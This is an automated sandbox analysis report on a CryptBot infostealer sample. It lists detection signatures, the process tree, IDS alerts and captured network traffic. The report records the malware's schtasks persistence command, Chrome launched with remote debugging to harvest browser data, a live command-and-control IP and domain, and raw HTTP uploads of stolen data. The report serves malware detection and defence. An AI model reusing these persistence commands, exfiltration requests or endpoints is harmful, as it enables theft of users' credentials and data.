Edit tour

Windows Analysis Report
kGxQbLOG7s.exe

Overview

General Information

Sample name:	kGxQbLOG7s.exe renamed because original name is a hash value
Original sample name:	ebfe28cb77f3d1246693fa372420d022.exe
Analysis ID:	1578967
MD5:	ebfe28cb77f3d1246693fa372420d022
SHA1:	f775bdf11301f3c1577668ae9245e1c22ab54ea6
SHA256:	fcf09a75838f976b2a8112606dee0912e662a5727822d8e349006299c3f6093a
Tags:	exeuser-abuse_ch
Infos:

Detection

Clipboard Hijacker, Cryptbot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Attempt to bypass Chrome Application-Bound Encryption

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Clipboard Hijacker

Yara detected Cryptbot

AI detected suspicious sample

Drops large PE files

Found evasive API chain (may stop execution after checking mutex)

Found stalling execution ending in API Sleep call

Hides threads from debuggers

Leaks process information

Machine Learning detection for sample

PE file contains section with special chars

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Detected potential crypto function

Drops PE files

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

kGxQbLOG7s.exe (PID: 1912 cmdline: "C:\Users\user\Desktop\kGxQbLOG7s.exe" MD5: EBFE28CB77F3D1246693FA372420D022)

chrome.exe (PID: 6196 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6232 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2332,i,5809787163742602357,12593231709092399536,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

service123.exe (PID: 5956 cmdline: "C:\Users\user\AppData\Local\Temp\service123.exe" MD5: 110FE44D33E426703CD712E879D34CBC)

schtasks.exe (PID: 2956 cmdline: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 4856 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1912 -s 1772 MD5: C31336C1EFC2CCB44B4326EA793040F2)

service123.exe (PID: 916 cmdline: C:\Users\user\AppData\Local\Temp\/service123.exe MD5: 110FE44D33E426703CD712E879D34CBC)

service123.exe (PID: 6568 cmdline: C:\Users\user\AppData\Local\Temp\/service123.exe MD5: 110FE44D33E426703CD712E879D34CBC)

service123.exe (PID: 5564 cmdline: C:\Users\user\AppData\Local\Temp\/service123.exe MD5: 110FE44D33E426703CD712E879D34CBC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: service123.exe PID: 5956	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
9.2.service123.exe.6c7a0000.1.unpack	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, CommandLine: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\kGxQbLOG7s.exe", ParentImage: C:\Users\user\Desktop\kGxQbLOG7s.exe, ParentProcessId: 1912, ParentProcessName: kGxQbLOG7s.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, ProcessId: 2956, ProcessName: schtasks.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\kGxQbLOG7s.exe", ParentImage: C:\Users\user\Desktop\kGxQbLOG7s.exe, ParentProcessId: 1912, ParentProcessName: kGxQbLOG7s.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", ProcessId: 6196, ProcessName: chrome.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Suricata Signatures

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:13:55.892688+0100	2054350	1	A Network Trojan was detected	192.168.2.9	49712	147.45.113.159	80	TCP
2024-12-20T17:13:57.605788+0100	2054350	1	A Network Trojan was detected	192.168.2.9	49713	147.45.113.159	80	TCP
2024-12-20T17:14:07.298836+0100	2054350	1	A Network Trojan was detected	192.168.2.9	49727	147.45.113.159	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: kGxQbLOG7s.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: kGxQbLOG7s.exe

ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: kGxQbLOG7s.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_004815B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext,		9_2_004815B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7A14B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext,		9_2_6C7A14B0

Source: kGxQbLOG7s.exe, 00000000.00000003.1430064017.000000000705F000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_55982fe5-8

Source: kGxQbLOG7s.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: C:\Users\user\.ms-ad\	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: C:\Users\user\AppData\Local\Google\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea ecx, dword ptr [esp+04h]	9_2_004881E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C81AEC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C81AF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C81AF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	9_2_6C7C0860
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	9_2_6C7CA970
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	9_2_6C7CA9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	9_2_6C7CA9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, 6C87F960h	9_2_6C7BEB10
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebx	9_2_6C8484A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C7C4453
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	9_2_6C7CC510
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	9_2_6C7CA5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	9_2_6C7CA5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	9_2_6C7CA580
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	9_2_6C7CE6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	9_2_6C7CE6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	9_2_6C7C0740
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, ecx	9_2_6C840730
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C81C040
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C81C1A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+04h]	9_2_6C7FA1E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	9_2_6C7C0260
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [6C87D014h]	9_2_6C874360
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C81BD10
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	9_2_6C817D10
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	9_2_6C813840
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea eax, dword ptr [ecx+04h]	9_2_6C7CD974
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	9_2_6C7F9B60
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	9_2_6C7DBBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	9_2_6C7DBBD7
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C81B4D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	9_2_6C7CD504
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea eax, dword ptr [ecx+0Ch]	9_2_6C7CD674
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, 6C87DFF4h	9_2_6C813690
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	9_2_6C819600
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea eax, dword ptr [ecx+08h]	9_2_6C7CD7F4
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C7BB1D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	9_2_6C843140
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C7CD2A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebx	9_2_6C837350

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 29MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.9:49712 -> 147.45.113.159:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.9:49727 -> 147.45.113.159:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.9:49713 -> 147.45.113.159:80

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: /Content-Type: application/jsonContent-Length: 563789Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 37 31 31 31 39 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 33 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=STlp5Lj8NycoUDdP1734711207 HTTP/1.1Host: home.twentytk20pn.topAccept: /
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 465Content-Type: multipart/form-data; boundary=------------------------9dVA2U1XYNy7ZfGhXP0wEnData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 64 56 41 32 55 31 58 59 4e 79 37 5a 66 47 68 58 50 30 77 45 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 59 6f 7a 6f 74 61 73 61 73 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 51 89 c5 49 bc 07 ee e2 2d 7e d5 98 47 e7 26 78 47 52 9e 0b 39 d3 1b 54 45 30 d0 2f ad 6b 2b e7 d3 12 74 28 24 db 3e db 95 05 9c 56 90 f8 8c 4c ec 73 8e 16 c6 dc e0 f6 42 92 96 8b 03 4c 06 2e 94 18 83 a8 03 65 91 85 89 ec 4a b3 15 f5 f8 00 4c 27 92 2e ae 2b 90 05 1a ad ad 7b 96 7a b2 94 2b d8 6b f6 5d f0 f2 35 6b 92 f9 58 72 68 f4 91 35 d5 0a 99 a6 c4 24 81 67 47 73 28 d0 4a cc 91 37 6b 73 de f0 3c b9 68 c5 5d da 2a a1 6e 66 5b 33 79 d1 4c b9 8f 27 f5 e2 cc a7 87 6a 0a 21 bf 6a 83 0c 60 09 2d e6 b9 89 aa ac 70 ae b5 82 3a 2b e7 bc b1 c7 8c ea 6e ec 2a 51 3b 37 4d 54 f9 0d 1c 6d 75 10 f1 d4 a5 24 95 ee fe 1e 62 54 9c de a9 32 d4 d8 2e 52 50 fa f0 fd 2f 07 6a c4 0d 91 69 42 4c 09 d3 be 7f 61 77 0b 79 de 4e a9 a9 a0 37 0c 79 b2 5e fc f8 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 64 56 41 32 55 31 58 59 4e 79 37 5a 66 47 68 58 50 30 77 45 6e 2d 2d 0d 0a Data Ascii: --------------------------9dVA2U1XYNy7ZfGhXP0wEnContent-Disposition: form-data; name="file"; filename="Yozotasas.bin"Content-Type: application/octet-streamQI-~G&xGR9TE0/k+t($>VLsBL.eJL'.+{z+k]5kXrh5$gGs(J7ks<h]nf[3yL'j!j`-p:+nQ;7MTmu$bT2.RP/jiBLawyN7y^--------------------------9dVA2U1XYNy7ZfGhXP0wEn--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 90787Content-Type: multipart/form-data; boundary=------------------------p7YxTBoux5UAnBkBPwEfmuData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 70 37 59 78 54 42 6f 75 78 35 55 41 6e 42 6b 42 50 77 45 66 6d 75 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4a 6f 63 61 62 69 68 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a c3 5e df 02 1e 57 0f 70 e4 86 be a0 10 a0 89 43 65 e8 7a 17 b6 c8 ab fe 0b 5f 04 22 62 d7 44 3b 34 51 53 e0 bf d1 2e 8b 31 82 79 e2 20 e2 dc e7 42 0c 7e 86 2d d1 c5 88 18 b5 25 5e 2b 39 58 28 a3 32 26 64 71 7d 60 83 e5 bf 16 68 c5 1a 19 87 2f 90 56 55 95 9c c8 ec 2c fd f9 00 4c a2 6f ea 39 67 7a bb d9 04 01 1c b6 e6 ea 7d c5 f8 85 20 f3 b8 ae f4 f0 d2 63 b2 10 96 2e 8d c8 32 fd f7 7d e0 93 4c e3 c2 72 7a 35 81 2c 9e 9c ed 1f c9 0a 49 ed 75 4c c5 e2 b9 af 00 6e d5 d8 47 62 53 3a 4d b3 77 ec 6a c5 73 0f 73 64 b8 cc c9 4b aa 24 c3 59 29 c1 73 76 ba 76 d9 1b 9b 83 48 4c 2a ad 66 7f 1c d4 e0 d7 d6 b8 fc 3a fd 59 1e 9f 56 82 5b 43 b0 63 b5 97 e5 d8 ff 3d 24 ed 35 eb 82 97 65 de dd b2 37 51 95 f8 f4 2c 77 6b 7d fb 30 d2 83 23 73 cd 43 9d 9b 87 9f 8d 62 e9 99 ed 5f da cf c0 24 2a de 66 a2 09 e6 b9 c8 c8 e0 28 c9 4c 5e 14 33 54 80 33 a5 98 f1 ce 77 02 5e 9e 1b 5a e6 7f 30 91 f1 1b 76 71 4b 0d 2e b9 72 a7 b6 d2 c8 01 65 53 c5 c6 73 c7 ba a4 e0 64 35 fd c7 f0 6a 4e 1e 89 12 2d 3a 6c 31 70 d3 11 d3 a8 0c 77 05 c9 88 0e d0 24 09 c8 f1 c8 bc 59 82 98 57 00 f6 3c ce cc c4 4e c7 7a 1f 67 09 c0 94 36 83 3c 9b e0 72 26 aa 74 47 99 96 70 5e 6b 0f f6 7a bd ea 61 68 f8 f2 f4 cc 42 f9 dd 8d 55 c6 4b db d3 49 24 bf 95 59 90 df 07 ff 36 94 95 ea a0 cb 37 c5 a9 0f bd 3a b5 5f 57 29 0d 91 23 48 63 fa da 00 85 77 6f 85 9f 57 bc 92 d4 71 cc 86 de c7 ce 9d 30 51 72 f2 2a b1 6e ee d0 ae 1d 84 fe 47 b8 86 6f c2 d6 ea be aa 0f e3 1d 67 01 cf bc 82 26 1f 49 60 7d c4 25 ef db 1d 42 6c a6 91 79 5b fd 1b 16 42 5b a8 c4 9c ff 96 b0 97 55 c0 c9 fc c8 43 c4 29 a2 ef 2f 8c 1b 07 f4 d1 16 4a b5 cf a8 a4 43 73 bd 22 81 25 ea 4a a1 11 62 cf 00 b1 21 b4 f8 4d 9a 07 2c 79 4d 6a 45 36 f0 94 50 ef 2a c8 2b 16 97 7b 8a b1 1e 38 79 ec 3c 4f b9 03 14 92 ab eb a8 06 61 fa ff f6 05 82 d9 84 ca 65 8d 93 36 20 c6 83 3a 50 73 3b 1a c8 40 22 1e db 52 59 a9 45 ae 7c a3 15 29 50 9d ba 78 63 2c 13 f9 7d f1 44 14 df aa 06 ff cc 40 71 b0 ac 8e 03 9d eb b5 ef 37 63 ae 1c e4 e9 20 22 f5 13 b5 ba 4f 7c ef cb f4 b3 c9 0b e4 99 78 7b 12 a9 d7 ed b5 9b 59 c7 42 78 12 06 c4 ae f0 25 fc 50 81 cc 34 ac e3 33 75 fa f9 b3 9b c5 d1 4c 32 a1 13 68 ac 0e 9e 19 94 1d fa 47 30 a5 84 d3 fd 53 11 d9 b6 0f 0d 03 4d 69 7c 8d 5e bc 0f 03 83 30 0e a4 29 35 27 2a 83 b1 2c 80 33 a6 14 99 72 c3 e5 3c 94 38 a8 db 5f 7a 98 55 b9 f4 27 f1 59 4a 87 fa 80 3e 8f 74 b4 ae 4a
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 36971Content-Type: multipart/form-data; boundary=------------------------EFd88Q5TMUGyXQ2IBDT6nZData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 45 46 64 38 38 51 35 54 4d 55 47 79 58 51 32 49 42 44 54 36 6e 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 6f 63 69 76 61 79 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 62 80 b4 92 12 05 60 55 f8 2b 2f 92 3e 0d a5 70 8f 94 1e a0 2a a5 f6 31 68 35 0d 3a 77 eb a5 c1 7b 8b 79 15 0a 8e 38 77 ca 84 88 3a 02 a6 e0 f8 90 5c 95 3b 76 3e 22 16 b1 b0 84 d4 ed 41 d3 b0 85 49 a2 69 cb 47 d0 cb db 8c d5 dc 12 2b df 79 6f 8b bb 26 5b bf a1 eb 47 61 4b 9b 36 5a b7 46 7e 1e 86 2c 6a 30 ba db cd 03 00 72 62 b0 57 29 5d f1 99 43 